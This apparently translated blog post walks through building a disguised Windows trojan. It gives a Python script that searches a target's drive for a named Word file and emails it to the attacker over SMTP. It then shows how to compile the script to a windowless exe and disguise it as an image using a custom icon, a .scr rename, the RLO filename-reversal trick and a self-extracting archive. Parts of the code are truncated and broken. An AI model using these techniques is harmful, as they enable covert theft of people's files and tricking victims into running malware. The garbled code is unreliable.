py script retrieves the specified file and sends mail + script packaging and camouflage

Keywords: Python



Let's talk about what I'm doing. Before, a friend, their network security teacher, put forward a challenge, that is, if he can get the test paper on his computer when handing in his homework, the test will be full marks directly. The teacher has shown the location of the test paper and his computer system.

So let's try. First, my idea is to send the pictures and exe to the teacher, then run them at the same time, search the test paper (word document) in the specified location, and then send e-mail with the email library.

This blog should be relatively complete. The idea is to move the whole process. If there are problems in the implementation, I will add.

Just do it

The first is the preparation of the script, which has two functions: one is to search (in fact, you can directly use the specified location, but it can't be changed), and the other is to send e-mail.

Is the file structure a tree structure? I thought I had to rub a depth first or breadth first by myself. Then I found that I directly adjusted the database:


Pass in a path as the root node for file search.

import os
# The starting search address is assumed to be on disk D
path = 'D:'
# File name to find
filename = '***.docx'
# Save query results in a text document
def find_file():
    for root, lists, files in os.walk(path):
        # Current path, folder list, file list
        for file in files:
            if filename == file:
                # Once found, spell the path and file name to form an openable file
                return os.path.join(root, file)
to_read = find_file()

(here's an explanation of why I want to call the function, because this part is also changed from online magic. I'm too lazy to change too much

It's easier to send e-mail. It starts with database adjustment + smtp service. Here I demonstrate a qq e-mail, and others can be found online.
The following configuration does not need to be changed. Just fill in the email address, smtp and relevant contents of the email.

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication
from email.header import Header
sender='Yours qq'
pwd='smtp Authorization code, which is highlighted below'
receiver='Recipient mail, no, register a 163 like me'
def mail():
    with open(to_read,'rb') as docs_file:
        	filename='The file name to be sent is displayed in the email attachment')
        #print('msg already')
        return msg

def send_mail(msg):

if to_read:

Start of smtp service

First, set - > account,
Then pull it here: (at first, smtp should not be turned on. We want to open the first line)

Then, according to his request, I sent a text message at that time. If it was the first time, it might be a little more trouble? However, it is still necessary. After all, you can't see it if you don't notice that someone has got the authorization code and send an email with your email.
(my test case is not shown)

Script packaging + camouflage

In this part, we first talk about the packaging of py script into exe, and then how to disguise this exe.

For packaging, we use pyinstaller.
Press win + R, enter CMD, open cmd.exe, and enter pip install pyinstaller first. I have already installed:

Then it's packaging. Here I'll talk about how to modify the icon.
Our normal exe seems to have no icon, but our requirements are different, so we'd better add an icon.
The icon is an. ico file. Many websites have pictures to ico. Baidu is OK. It is recommended to use square pictures.

Enter the folder where we put icons and scripts first:
d: Switch drive letter
cd + folder is entered. You can type half and complete it with tab
Then enter pyinstaller -i **.ico -F **.py --noconsole
(the last one means to close the console so that there will be no black box when our script runs. In addition, it's the first time I type exe, which is not important)

At this time, we can find an EXE file in the dist directory, and the icon is specified by us. At this time, you can run this exe directly, but it's difficult to deceive people. Anyone who knows the suffix name will not.

Then we need to disguise.
First, the method of * *.jpg.exe, double suffix, but you can still see the suffix.
Then, we have another idea is to change the suffix to scr, which does not delay the operation, but it is also unreliable.

There are two ways to be more reliable. The first is to manipulate the file name:
We change the file name to * * _gpj.scr, and then insert a Unicode character RLO to the right of the underscore:

Rename - > find location - > insert RLO.

Then he turned around.

Another, how to say, mixed feelings, because of winrar's problem.
I have a computer, and it's OK to use it, but if it's not installed, it's a little stretched on the display.

Package exe with the picture we want to disguise:

Then follow me to modify:

Fill in the two packaged files:

Remember to add an icon:

Then you can compress it. The small problem is that the exe displayed later is really eye-catching. In addition, if there is no winrar, you will be prompted to download it first. It's very annoying.

A failed way

To be honest, I want to use copy /b a.jpg+ b.exe c.jpg to bind the two together,
But later found that this thing is mainly anti harmony. In fact, it is impossible to run the program while clicking on the picture, which is very outrageous.

Posted by btubalinal on Thu, 09 Sep 2021 18:13:22 -0700